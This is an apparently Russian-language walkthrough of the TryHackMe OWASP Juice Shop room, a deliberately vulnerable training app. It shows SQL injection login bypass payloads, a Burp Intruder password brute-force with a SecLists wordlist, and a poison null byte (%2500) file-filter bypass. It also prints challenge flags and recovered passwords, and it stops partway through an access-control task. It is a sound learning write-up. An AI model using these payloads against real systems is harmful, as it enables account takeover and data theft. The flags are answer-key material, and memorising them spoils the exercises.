  &lt;p id=&quot;f09f&quot;&gt;&lt;em&gt;Благодарим  &lt;a href=&quot;https://www.owasp.org/index.php/Main_Page&quot; target=&quot;_blank&quot;&gt;OWASP&lt;/a&gt;  и  &lt;a href=&quot;https://twitter.com/bkimminich&quot; target=&quot;_blank&quot;&gt;Бьорна Кимминича за предоставленные материалы.&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
  &lt;figure id=&quot;o0Fd&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/81/0b/810bc619-408e-48e6-a567-6e7860970d8a.png&quot; width=&quot;2552&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;CCJv&quot;&gt;2. Давайте отправимся в приключение!&lt;/h2&gt;
  &lt;figure id=&quot;WbI5&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/654be36872552158be01f92f/room-content/654be36872552158be01f92f-1750841632061.png&quot; width=&quot;1877&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;AWvv&quot;&gt;Прежде чем перейти к собственно взлому, стоит осмотреться. В Burp отключите режим перехвата и просмотрите сайт. Это позволит Burp регистрировать различные запросы с сервера, которые могут оказаться полезными в дальнейшем.&lt;/p&gt;
  &lt;p id=&quot;VCx7&quot;&gt;Запускаем бурп и кидаем проксирование &lt;/p&gt;
  &lt;figure id=&quot;swfK&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/ae/aa/aeaac32f-4691-4737-9b4b-20fcba96f362.png&quot; width=&quot;1950&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;uReL&quot;&gt;Это называется &lt;strong&gt;обходом&lt;/strong&gt; приложения, что также является формой &lt;strong&gt;разведки&lt;/strong&gt; !&lt;/p&gt;
  &lt;section&gt;
    &lt;p id=&quot;EgL7&quot;&gt;Вопрос №1: Какой адрес электронной почты у администратора?&lt;/p&gt;
    &lt;figure id=&quot;Yr7K&quot; class=&quot;m_original&quot;&gt;
      &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/654be36872552158be01f92f/room-content/654be36872552158be01f92f-1750841888292.png&quot; width=&quot;1571&quot; /&gt;
    &lt;/figure&gt;
    &lt;p id=&quot;6iok&quot;&gt;В отзывах указан адрес электронной почты каждого пользователя. А при нажатии на продукт Apple Juice отображается адрес электронной почты администратора!&lt;/p&gt;
    &lt;p id=&quot;udS4&quot;&gt;&lt;strong&gt;Вопрос №2: Какой параметр используется для поиска? &lt;/strong&gt;&lt;/p&gt;
    &lt;figure id=&quot;0GyQ&quot; class=&quot;m_original&quot;&gt;
      &lt;img src=&quot;https://assets.tryhackme.com/additional/imgur/pZLtWQl.png&quot; width=&quot;223&quot; /&gt;
    &lt;/figure&gt;
    &lt;p id=&quot;D6bj&quot;&gt;При нажатии на значок лупы в правом верхнем углу приложения откроется строка поиска.&lt;/p&gt;
    &lt;figure id=&quot;D9E3&quot; class=&quot;m_original&quot;&gt;
      &lt;img src=&quot;https://assets.tryhackme.com/additional/imgur/bFgw6uS.png&quot; width=&quot;256&quot; /&gt;
    &lt;/figure&gt;
    &lt;p id=&quot;mi8Z&quot;&gt;Затем мы можем ввести какой-либо текст, и нажатие &lt;strong&gt;клавиши Enter&lt;/strong&gt; выполнит поиск только что введенного текста.&lt;/p&gt;
    &lt;p id=&quot;FjEl&quot;&gt;Теперь обратите внимание на URL-адрес, который обновится, отобразив только что введенный нами текст.&lt;/p&gt;
    &lt;figure id=&quot;v4Pn&quot; class=&quot;m_original&quot;&gt;
      &lt;img src=&quot;https://assets.tryhackme.com/additional/imgur/AzJ3FAM.png&quot; width=&quot;273&quot; /&gt;
    &lt;/figure&gt;
    &lt;p id=&quot;aPWJ&quot;&gt;&lt;strong&gt;Теперь после /#/search?&lt;/strong&gt; и буквы &lt;strong&gt;q&lt;/strong&gt; мы видим параметр поиска.&lt;/p&gt;
  &lt;/section&gt;
  &lt;figure id=&quot;p5qw&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://assets.tryhackme.com/additional/imgur/YFWDP5v.png&quot; width=&quot;493&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;WFru&quot;&gt;3. Введите сок&lt;/h2&gt;
  &lt;figure id=&quot;LgjG&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://assets.tryhackme.com/additional/imgur/uwXqDdH.png&quot; width=&quot;976&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;6Btg&quot;&gt;В этой задаче основное внимание будет уделено уязвимостям внедрения кода. Уязвимости внедрения кода представляют собой серьезную опасность для компании, поскольку могут привести к простоям и/или потере данных. Выявление точек внедрения в веб-приложении обычно довольно просто, поскольку большинство из них возвращают ошибку. Существует множество типов атак внедрения кода, некоторые из них:&lt;/p&gt;
  &lt;p id=&quot;QMk3&quot;&gt;SQL -инъекция&lt;/p&gt;
  &lt;p id=&quot;zPR8&quot;&gt;SQL- инъекция — это когда злоумышленник вводит вредоносный или некорректный запрос для получения или изменения данных из базы данных. А в некоторых случаях — для входа в учетные записи.&lt;/p&gt;
  &lt;p id=&quot;U9vo&quot;&gt;Внедрение команд&lt;/p&gt;
  &lt;p id=&quot;vCSn&quot;&gt;Внедрение команд — это когда веб-приложения берут входные или управляемые пользователем данные и выполняют их как системные команды. Злоумышленник может изменить эти данные для выполнения собственных системных команд. Это можно наблюдать в приложениях, которые выполняют неправильно настроенные тесты ping.&lt;/p&gt;
  &lt;p id=&quot;IGNM&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;sSfK&quot;&gt;Тут я попробовал вызвать ошибку&lt;/p&gt;
  &lt;figure id=&quot;q0Dy&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/9e/73/9e73d2cf-ba4b-4e6b-9c23-97188ea36ebe.png&quot; width=&quot;1507&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;XwH4&quot;&gt;и что то стригерил&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;2zZC&quot;&gt;You successfully solved a challenge: Error Handling (Provoke an error that is neither very gracefully nor consistently handled.)&lt;br /&gt; 9c297196ecf8890bc1e900fcf3aebae8c9f9880a&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;PQPE&quot;&gt;Внедрение email-адреса&lt;/p&gt;
  &lt;p id=&quot;zqGj&quot;&gt;Внедрение электронных писем — это уязвимость безопасности, позволяющая злоумышленникам отправлять электронные письма без предварительного разрешения почтового сервера. Это происходит, когда злоумышленник добавляет дополнительные данные в поля, которые сервер интерпретирует неправильно.&lt;/p&gt;
  &lt;p id=&quot;367v&quot;&gt;Но в нашем случае мы будем использовать &lt;strong&gt;SQL- инъекцию &lt;/strong&gt;.&lt;/p&gt;
  &lt;p id=&quot;ToKO&quot;&gt;Для получения дополнительной информации:  &lt;a href=&quot;https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A1-Injection&quot; target=&quot;_blank&quot;&gt;Инъекция&lt;/a&gt;&lt;/p&gt;
  &lt;section&gt;
    &lt;p id=&quot;QE5T&quot;&gt;Вопрос №1: Войдите в учетную запись администратора!&lt;/p&gt;
    &lt;p id=&quot;LpRQ&quot;&gt;После перехода на страницу входа введите данные в поля электронной почты и пароля.&lt;/p&gt;
    &lt;figure id=&quot;AKyw&quot; class=&quot;m_original&quot;&gt;
      &lt;img src=&quot;https://assets.tryhackme.com/additional/imgur/4XHHSof.png&quot; width=&quot;122&quot; /&gt;
    &lt;/figure&gt;
    &lt;p id=&quot;BEAU&quot;&gt;Перед  отправкой убедитесь, что  режим перехвата  включен .&lt;/p&gt;
    &lt;p id=&quot;V9Fr&quot;&gt;Это позволит нам увидеть данные, отправляемые на сервер!&lt;/p&gt;
    &lt;figure id=&quot;RjHd&quot; class=&quot;m_original&quot;&gt;
      &lt;img src=&quot;https://assets.tryhackme.com/additional/imgur/6gyZ7Vr.png&quot; width=&quot;1087&quot; /&gt;
    &lt;/figure&gt;
    &lt;p id=&quot;AGJF&quot;&gt;Теперь мы заменим &amp;quot; &lt;strong&gt;a&lt;/strong&gt; &amp;quot; рядом с адресом электронной почты на:  &amp;#x27; или 1=1--  и перешлем его на сервер.&lt;/p&gt;
    &lt;figure id=&quot;GRRw&quot; class=&quot;m_original&quot;&gt;
      &lt;img src=&quot;https://assets.tryhackme.com/additional/imgur/tPFJnmC.png&quot; width=&quot;266&quot; /&gt;
    &lt;/figure&gt;
    &lt;figure id=&quot;AiKv&quot; class=&quot;m_original&quot;&gt;
      &lt;img src=&quot;https://img3.teletype.in/files/6a/9a/6a9a39ff-ec0d-4316-9efe-ff1b45c6c7d3.png&quot; width=&quot;1482&quot; /&gt;
    &lt;/figure&gt;
    &lt;p id=&quot;j6zk&quot;&gt;Опять стригирил что то &lt;/p&gt;
    &lt;p id=&quot;Lx9Y&quot;&gt;You successfully solved a challenge: Login Admin (Log in with the administrator&amp;#x27;s user account.)&lt;br /&gt;Ответ: 690fa3247a99d651e0b26f947baf0b79b4f404a9&lt;/p&gt;
    &lt;p id=&quot;xGpA&quot;&gt;&lt;strong&gt;Почему это работает?&lt;/strong&gt;&lt;/p&gt;
    &lt;ol id=&quot;wqsh&quot;&gt;
      &lt;li id=&quot;8IHR&quot;&gt;Символ &lt;strong&gt;&amp;#x27;&lt;/strong&gt; закроет скобки в SQL-запросе.&lt;/li&gt;
      &lt;li id=&quot;J3jq&quot;&gt;Оператор &amp;#x27; &lt;strong&gt;ИЛИ&lt;/strong&gt; &amp;#x27; в SQL-запросе вернет true, если хотя бы одна его часть истинна. Поскольку  1=1 всегда истинно , весь запрос истинен. Таким образом, он сообщит серверу, что адрес электронной почты действителен, и выполнит вход в систему под  идентификатором пользователя 0 , который является учетной записью администратора.&lt;/li&gt;
      &lt;li id=&quot;8epp&quot;&gt;Символ  «--»  используется в SQL для комментирования данных; любые ограничения на вход в систему больше не будут работать, поскольку они интерпретируются как комментарий. Это похоже на комментарии #  и  //  в Python и JavaScript соответственно.&lt;/li&gt;
    &lt;/ol&gt;
    &lt;figure id=&quot;ezkH&quot; class=&quot;m_original&quot;&gt;
      &lt;img src=&quot;https://assets.tryhackme.com/additional/imgur/Y7xYGjp.png&quot; width=&quot;962&quot; /&gt;
    &lt;/figure&gt;
    &lt;p id=&quot;yOey&quot;&gt;Вопрос №2: Войдите в учетную запись Bender!&lt;/p&gt;
    &lt;p id=&quot;eIlS&quot;&gt;Аналогично тому, что мы делали в  &lt;u&gt;вопросе №1&lt;/u&gt; , теперь войдем в учетную запись Бендера! Снова перехватим запрос на вход, но на этот раз укажем в качестве адреса электронной почты:  bender@juice-sh.op&amp;#x27;--  .&lt;/p&gt;
    &lt;figure id=&quot;sxZ0&quot; class=&quot;m_original&quot;&gt;
      &lt;img src=&quot;https://assets.tryhackme.com/additional/imgur/1F1ufc3.png&quot; width=&quot;340&quot; /&gt;
    &lt;/figure&gt;
    &lt;p id=&quot;mZev&quot;&gt;Теперь перешлите это на сервер!&lt;/p&gt;
    &lt;figure id=&quot;QeZx&quot; class=&quot;m_original&quot;&gt;
      &lt;img src=&quot;https://img4.teletype.in/files/36/83/36834144-8d8e-47da-91f3-96f99f2742c4.png&quot; width=&quot;1486&quot; /&gt;
    &lt;/figure&gt;
    &lt;p id=&quot;aU45&quot;&gt;Но почему бы нам не поставить  1=1 ?&lt;/p&gt;
    &lt;p id=&quot;S3xF&quot;&gt;Итак, поскольку адрес электронной почты действителен (что вернет  true ), нам не нужно принудительно устанавливать значение  true . Таким образом, мы можем использовать  &lt;strong&gt;&amp;#x27;--&amp;#x27;&lt;/strong&gt; для обхода системы авторизации. Обратите внимание, что &lt;strong&gt;1=1&lt;/strong&gt; можно использовать, когда адрес электронной почты или имя пользователя неизвестны или недействительны.&lt;/p&gt;
    &lt;figure id=&quot;Avf3&quot; class=&quot;m_original&quot;&gt;
      &lt;img src=&quot;https://assets.tryhackme.com/additional/imgur/Rznz31B.png&quot; width=&quot;960&quot; /&gt;
    &lt;/figure&gt;
  &lt;/section&gt;
  &lt;p id=&quot;uetA&quot;&gt;You successfully solved a challenge: Login Bender (Log in with Bender&amp;#x27;s user account.)&lt;br /&gt; Ответ: 5ff5052e879e6fef64124e64c82c84ebc809c6c4&lt;/p&gt;
  &lt;h2 id=&quot;e2To&quot;&gt;4. Кто взломал мой замок?!&lt;/h2&gt;
  &lt;figure id=&quot;reBx&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://assets.tryhackme.com/additional/imgur/OM71q2D.png&quot; width=&quot;1070&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;TYc3&quot;&gt;В этой задаче мы рассмотрим использование уязвимостей аутентификации. Говоря об уязвимостях в аутентификации, мы подразумеваем механизмы, подверженные манипуляциям. Именно эти механизмы, перечисленные ниже, мы и будем использовать.&lt;/p&gt;
  &lt;p id=&quot;26X4&quot;&gt;Слабые пароли в учетных записях с высокими привилегиями.&lt;/p&gt;
  &lt;p id=&quot;xVzB&quot;&gt;Страницы восстановления пароля&lt;/p&gt;
  &lt;p id=&quot;aQ5q&quot;&gt;Дополнительная информация:  &lt;a href=&quot;https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A2-Broken_Authentication&quot; target=&quot;_blank&quot;&gt;Неработающая аутентификация&lt;/a&gt;&lt;/p&gt;
  &lt;section&gt;
    &lt;p id=&quot;UbFX&quot;&gt;Вопрос №1: Подберите пароль от учетной записи администратора методом перебора!&lt;/p&gt;
    &lt;p id=&quot;Z599&quot;&gt;Мы использовали SQL-инъекцию для входа в учетную запись администратора, но пароль нам по-прежнему неизвестен. Давайте попробуем атаку методом перебора! Мы снова перехватим запрос на вход, но вместо отправки его через прокси, мы отправим его в Intruder.&lt;/p&gt;
    &lt;p id=&quot;tIbP&quot;&gt;Перейдите в раздел «Позиции», затем выберите кнопку «Очистить §»  . В поле пароля поместите два символа § внутри кавычек. Уточним:  § § — это не два отдельных поля ввода, а реализация кавычек в Burp, например, &amp;quot;&amp;quot; .  Запрос должен выглядеть как на изображении ниже.&lt;/p&gt;
    &lt;figure id=&quot;S7bx&quot; class=&quot;m_original&quot;&gt;
      &lt;img src=&quot;https://assets.tryhackme.com/additional/imgur/I96sO28.png&quot; width=&quot;1103&quot; /&gt;
    &lt;/figure&gt;
    &lt;p id=&quot;6Vg1&quot;&gt;&lt;code&gt;Тут просят подобрать паль админа, почту мы уже знаем.&lt;br /&gt;(но лучше перебирать не в бурпе - java очень медленный язык и с большим массивом данных он будет долго и тяжко справляться)&lt;/code&gt;&lt;/p&gt;
    &lt;figure id=&quot;gEQb&quot; class=&quot;m_original&quot;&gt;
      &lt;img src=&quot;https://img2.teletype.in/files/15/f2/15f24fa1-c014-488a-8de0-35b424db2856.png&quot; width=&quot;1004&quot; /&gt;
    &lt;/figure&gt;
    &lt;p id=&quot;ZSwq&quot;&gt;В качестве полезной нагрузки мы будем использовать файл  best1050.txt из пакета seclists (который можно установить с помощью команды: &lt;strong&gt;apt-get install seclists&lt;/strong&gt; ).&lt;/p&gt;
    &lt;p id=&quot;8aS6&quot;&gt;&lt;em&gt;Список можно загрузить по адресу:  /usr/share/wordlists/SecLists/Passwords/Common-Credentials/best1050.txt&lt;/em&gt;&lt;/p&gt;
    &lt;p id=&quot;P9dh&quot;&gt;После загрузки файла в Burp начните атаку. Вам потребуется отфильтровать запросы по статусу.&lt;/p&gt;
    &lt;p id=&quot;9LUu&quot;&gt;В случае  неудачной  попытки запроса будет отправлена ​​ошибка  401 Unauthorized.&lt;/p&gt;
    &lt;figure id=&quot;GDq8&quot; class=&quot;m_original&quot;&gt;
      &lt;img src=&quot;https://assets.tryhackme.com/additional/imgur/HcUs6eW.png&quot; width=&quot;80&quot; /&gt;
    &lt;/figure&gt;
    &lt;p id=&quot;Vqff&quot;&gt;В случае  успешного  запроса будет возвращен код  200 OK .&lt;/p&gt;
    &lt;figure id=&quot;hb7w&quot; class=&quot;m_original&quot;&gt;
      &lt;img src=&quot;https://assets.tryhackme.com/additional/imgur/q5jcfIA.png&quot; width=&quot;80&quot; /&gt;
    &lt;/figure&gt;
    &lt;p id=&quot;148u&quot;&gt;После завершения войдите в учетную запись, используя пароль.&lt;/p&gt;
    &lt;figure id=&quot;03Cl&quot; class=&quot;m_original&quot;&gt;
      &lt;img src=&quot;https://img4.teletype.in/files/7b/21/7b21c81c-9fce-4cbf-b5da-02f115dc6170.png&quot; width=&quot;1445&quot; /&gt;
    &lt;/figure&gt;
    &lt;figure id=&quot;OqtT&quot; class=&quot;m_original&quot;&gt;
      &lt;img src=&quot;https://img2.teletype.in/files/dc/a7/dca7edf3-4778-4703-9809-88c8fbe8ad43.png&quot; width=&quot;1301&quot; /&gt;
    &lt;/figure&gt;
    &lt;p id=&quot;3G7U&quot;&gt;пароль: admin123&lt;/p&gt;
    &lt;p id=&quot;Upkf&quot;&gt;You successfully solved a challenge: Password Strength (Log in with the administrator&amp;#x27;s user credentials without previously changing them or applying SQL Injection.)&lt;br /&gt;Ответ: ff4aebffe31b0ffdea9bdd0207a16a3c01ac6c56&lt;/p&gt;
    &lt;p id=&quot;3BhH&quot;&gt;Вопрос №2:  Сбросить пароль Джима!&lt;/p&gt;
    &lt;figure id=&quot;AJVB&quot; class=&quot;m_original&quot;&gt;
      &lt;img src=&quot;https://assets.tryhackme.com/additional/imgur/axsRMp2.png&quot; width=&quot;992&quot; /&gt;
    &lt;/figure&gt;
    &lt;figure id=&quot;1tMt&quot; class=&quot;m_original&quot;&gt;
      &lt;img src=&quot;https://assets.tryhackme.com/additional/imgur/PfHXA1h.png&quot; width=&quot;358&quot; /&gt;
    &lt;/figure&gt;
    &lt;figure id=&quot;9Rpx&quot; class=&quot;m_original&quot;&gt;
      &lt;img src=&quot;https://assets.tryhackme.com/additional/imgur/uRS3kJr.png&quot; width=&quot;469&quot; /&gt;
    &lt;/figure&gt;
    &lt;figure id=&quot;PNUH&quot; class=&quot;m_original&quot;&gt;
      &lt;img src=&quot;https://img2.teletype.in/files/57/ce/57ce7a37-e516-402a-b4fd-6a7da3441cfa.png&quot; width=&quot;1306&quot; /&gt;
    &lt;/figure&gt;
    &lt;p id=&quot;q8RD&quot;&gt;3c3e2d6ef99b733b947e92f8e2a9ed08bf57ea63&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;3jzy&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;Ew1t&quot;&gt;5. А! Не смотри!&lt;/h2&gt;
  &lt;figure id=&quot;bKyA&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://assets.tryhackme.com/additional/imgur/XlbJl1E.png&quot; width=&quot;1033&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;4wVc&quot;&gt;Веб-приложение должно безопасно и надежно хранить и передавать конфиденциальные данные. Однако в некоторых случаях разработчик может не обеспечить надлежащую защиту своих конфиденциальных данных, что делает их уязвимыми.&lt;/p&gt;
  &lt;p id=&quot;X51y&quot;&gt;В большинстве случаев защита данных не применяется единообразно во всем веб-приложении, что делает некоторые страницы доступными для общественности. В других случаях информация утекает в открытый доступ без ведома разработчика, что делает веб-приложение уязвимым для атак.&lt;/p&gt;
  &lt;p id=&quot;UoN6&quot;&gt;Дополнительная информация:  &lt;a href=&quot;https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A3-Sensitive_Data_Exposure&quot; target=&quot;_blank&quot;&gt;Раскрытие конфиденциальных данных&lt;/a&gt;&lt;/p&gt;
  &lt;section&gt;
    &lt;figure id=&quot;YIBW&quot; class=&quot;m_original&quot;&gt;
      &lt;img src=&quot;https://assets.tryhackme.com/additional/imgur/M1s8jfu.png&quot; width=&quot;552&quot; /&gt;
    &lt;/figure&gt;
    &lt;figure id=&quot;4Qse&quot; class=&quot;m_original&quot;&gt;
      &lt;img width=&quot;800&quot; /&gt;
    &lt;/figure&gt;
    &lt;figure id=&quot;HfiN&quot; class=&quot;m_original&quot;&gt;
      &lt;img src=&quot;https://assets.tryhackme.com/additional/imgur/EY664PR.png&quot; width=&quot;200&quot; /&gt;
    &lt;/figure&gt;
    &lt;figure id=&quot;G6BJ&quot; class=&quot;m_original&quot;&gt;
      &lt;img src=&quot;https://assets.tryhackme.com/additional/imgur/Xp2aZJW.png&quot; width=&quot;1085&quot; /&gt;
    &lt;/figure&gt;
    &lt;p id=&quot;6nG9&quot;&gt;Мы скачаем файл  acquisitions.md  и сохраним его. Похоже, здесь есть и другие файлы, представляющие интерес.&lt;/p&gt;
    &lt;p id=&quot;GZSo&quot;&gt;После загрузки перейдите на &lt;strong&gt;главную страницу&lt;/strong&gt; , чтобы получить флаг!&lt;/p&gt;
    &lt;p id=&quot;oALY&quot;&gt;You successfully solved a challenge: Confidential Document (Access a confidential document.)&lt;br /&gt;Ответ: 8d2072c6b0a455608ca1a293dc0c9579883fc6a5&lt;/p&gt;
    &lt;p id=&quot;xZXJ&quot;&gt;Вопрос №2:  Войдите в учетную запись MC SafeSearch!&lt;/p&gt;
    &lt;figure id=&quot;D84M&quot; class=&quot;m_custom&quot;&gt;
      &lt;iframe src=&quot;https://www.youtube.com/embed/v59CX2DiX0Y?autoplay=0&amp;loop=0&amp;mute=0&quot;&gt;&lt;/iframe&gt;
    &lt;/figure&gt;
    &lt;p id=&quot;Eagh&quot;&gt;После просмотра видеоклипа некоторые фрагменты песни особенно запомнились.&lt;/p&gt;
    &lt;p id=&quot;pMb5&quot;&gt;Он отмечает, что его пароль — « Mr. Noodles », но он заменил некоторые « гласные на нули », то есть заменил только буквы «о» на нули.&lt;/p&gt;
    &lt;p id=&quot;x1Ol&quot;&gt;Теперь нам известно, что пароль к учетной записи &lt;em&gt;mc.safesearch@juice-sh.op&lt;/em&gt;  — « &lt;strong&gt;Mr. N00dles&lt;/strong&gt; ».&lt;/p&gt;
    &lt;p id=&quot;fvuW&quot;&gt;You successfully solved a challenge: Login MC SafeSearch (Log in with MC SafeSearch&amp;#x27;s original user credentials without applying SQL Injection or any other bypass.)&lt;br /&gt;Ответ: bb105418e73708ceccf1a7b2491f434b8f5230e4&lt;/p&gt;
    &lt;p id=&quot;bgV6&quot;&gt;Вопрос №3: Скачайте файл резервной копии!&lt;/p&gt;
    &lt;p id=&quot;AG3l&quot;&gt;Теперь вернёмся в папку &lt;a href=&quot;http://machine_ip/ftp/&quot; target=&quot;_blank&quot;&gt;http://10.112.152.24/ftp/&lt;/a&gt; и попробуем загрузить package.json.bak. Но, похоже, мы получаем ошибку 403, которая указывает, что можно загрузить только файлы .md и .pdf.&lt;/p&gt;
    &lt;figure id=&quot;6oWM&quot; class=&quot;m_original&quot;&gt;
      &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/654be36872552158be01f92f/room-content/654be36872552158be01f92f-1750888802937.png&quot; width=&quot;820&quot; /&gt;
    &lt;/figure&gt;
    &lt;p id=&quot;5wwA&quot;&gt;Чтобы обойти это ограничение, мы воспользуемся обходным путем для символов, называемым «ядовитым нулевым байтом». Ядовитый нулевой байт выглядит так: &lt;em&gt;%00&lt;/em&gt; .&lt;/p&gt;
    &lt;figure id=&quot;d2dC&quot; class=&quot;m_original&quot;&gt;
      &lt;img src=&quot;https://img1.teletype.in/files/49/66/49667eb9-0029-4910-abf9-26cd2db84fa8.png&quot; width=&quot;975&quot; /&gt;
    &lt;/figure&gt;
    &lt;p id=&quot;2BX3&quot;&gt;Примечание: поскольку мы можем загрузить его по &lt;u&gt;URL-адресу&lt;/u&gt; , нам потребуется закодировать его в &lt;u&gt;формат, закодированный по URL-адресу.&lt;/u&gt;&lt;/p&gt;
    &lt;p id=&quot;RrtP&quot;&gt;Теперь &amp;quot;пустой байт&amp;quot; будет выглядеть так: &lt;em&gt;%2500&lt;/em&gt; . Добавление этого и расширения &lt;strong&gt;.md&lt;/strong&gt; в конец позволит обойти ошибку 403!&lt;/p&gt;
    &lt;figure id=&quot;J4RG&quot; class=&quot;m_original&quot;&gt;
      &lt;img src=&quot;https://assets.tryhackme.com/additional/imgur/2qugsl5.png&quot; width=&quot;356&quot; /&gt;
    &lt;/figure&gt;
    &lt;p id=&quot;TrEH&quot;&gt;&lt;strong&gt;Почему это работает?&lt;/strong&gt;&lt;/p&gt;
    &lt;p id=&quot;E8RX&quot;&gt;«Отравленный нулевой байт» — это, по сути, нулевой символ-терминатор. Поместив нулевой символ в строку в определенном байте, вы дадите серверу команду завершить строку в этой точке, обнулив остальную часть строки.&lt;/p&gt;
    &lt;p id=&quot;Uua9&quot;&gt;You successfully solved a challenge: Poison Null Byte (Bypass a security control with a Poison Null Byte to access a file not meant for your eyes.)&lt;br /&gt;Ответ: cfdeea14e8f01b4952722fd0e4a77f1928593c9a&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;9PFz&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;XCDy&quot;&gt;6. Кто управляет этой штуковиной?&lt;/h2&gt;
  &lt;figure id=&quot;CsmB&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://assets.tryhackme.com/additional/imgur/r2qq6de.png&quot; width=&quot;1449&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;WQDi&quot;&gt;Современные системы позволяют нескольким пользователям иметь доступ к разным страницам. Администраторы чаще всего используют страницу администрирования для редактирования, добавления и удаления различных элементов веб-сайта.  Вы можете использовать такие страницы при создании веб-сайта с помощью таких программ, как Weebly или Wix.&lt;/p&gt;
  &lt;figure id=&quot;v5j1&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/36/b4/36b4e985-04a4-4072-abdb-00c233451d4b.png&quot; width=&quot;569&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;IaIV&quot;&gt;Обнаружение уязвимостей или ошибок в системе контроля доступа будет классифицировано по одному из &lt;strong&gt;двух типов&lt;/strong&gt; :&lt;/p&gt;
  &lt;p id=&quot;hC8C&quot;&gt;&lt;strong&gt;Горизонтальная&lt;/strong&gt; эскалация привилегий&lt;/p&gt;
  &lt;p id=&quot;3etu&quot;&gt;Это происходит, когда пользователь может выполнить действие или получить доступ к данным другого пользователя с &lt;strong&gt;тем же&lt;/strong&gt; уровнем прав доступа.&lt;/p&gt;
  &lt;p id=&quot;lZ0k&quot;&gt;&lt;strong&gt;Вертикальная&lt;/strong&gt; эскалация привилегий&lt;/p&gt;
  &lt;p id=&quot;p3Gp&quot;&gt;Это происходит, когда пользователь может выполнить действие или получить доступ к данным другого пользователя с  более высоким уровнем прав доступа.&lt;/p&gt;
  &lt;figure id=&quot;a98V&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://assets.tryhackme.com/additional/imgur/bJ9WKY4.png&quot; width=&quot;471&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;RPIa&quot;&gt;&lt;em&gt;Источник: Packetlabs.net&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;HOe3&quot;&gt;Дополнительная информация:  &lt;a href=&quot;https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A5-Broken_Access_Control&quot; target=&quot;_blank&quot;&gt;Нарушение контроля доступа&lt;/a&gt;&lt;/p&gt;
  &lt;section&gt;
    &lt;p id=&quot;Awrm&quot;&gt;Вопрос №1:  Зайдите на страницу администрирования!&lt;/p&gt;
    &lt;p id=&quot;ciR6&quot;&gt;Сначала откроем &lt;strong&gt;отладчик&lt;/strong&gt; в  Firefox .&lt;/p&gt;
    &lt;p id=&quot;FPkK&quot;&gt;(Или &lt;strong&gt;источники&lt;/strong&gt;  в &lt;strong&gt;Chrome&lt;/strong&gt; .)&lt;/p&gt;
    &lt;p id=&quot;Ltwh&quot;&gt;Это можно сделать, перейдя по соответствующей ссылке в меню «Веб-разработчики».&lt;/p&gt;
    &lt;figure id=&quot;BBLy&quot; class=&quot;m_original&quot;&gt;
      &lt;img src=&quot;https://assets.tryhackme.com/additional/imgur/rvhCm6V.png&quot; width=&quot;326&quot; /&gt;
    &lt;/figure&gt;
    &lt;figure id=&quot;aP4H&quot; class=&quot;m_original&quot;&gt;
      &lt;img src=&quot;https://assets.tryhackme.com/additional/imgur/oWJI6Yi.png&quot; width=&quot;324&quot; /&gt;
    &lt;/figure&gt;
    &lt;p id=&quot;VccI&quot;&gt;Затем мы обновим страницу и найдем файл JavaScript для  main-es2015.js.&lt;/p&gt;
    &lt;p id=&quot;WdbX&quot;&gt;Затем мы перейдём на эту страницу по  адресу : &lt;a href=&quot;http://machine_ip/&quot; target=&quot;_blank&quot;&gt;http://10.112.152.24/main-es2015.js&lt;/a&gt;&lt;/p&gt;
    &lt;figure id=&quot;onEi&quot; class=&quot;m_original&quot;&gt;
      &lt;img src=&quot;https://assets.tryhackme.com/additional/imgur/wF55kiO.png&quot; width=&quot;1015&quot; /&gt;
    &lt;/figure&gt;
    &lt;p id=&quot;YHQV&quot;&gt;Чтобы преобразовать текст в читаемый формат, нажмите кнопку { } внизу.&lt;/p&gt;
    &lt;figure id=&quot;bNaz&quot; class=&quot;m_original&quot;&gt;
      &lt;img src=&quot;https://assets.tryhackme.com/additional/imgur/93xvM6I.png&quot; width=&quot;84&quot; /&gt;
    &lt;/figure&gt;
    &lt;p id=&quot;mXl6&quot;&gt;Теперь выполните поиск по запросу &amp;quot;admin&amp;quot;.&lt;/p&gt;
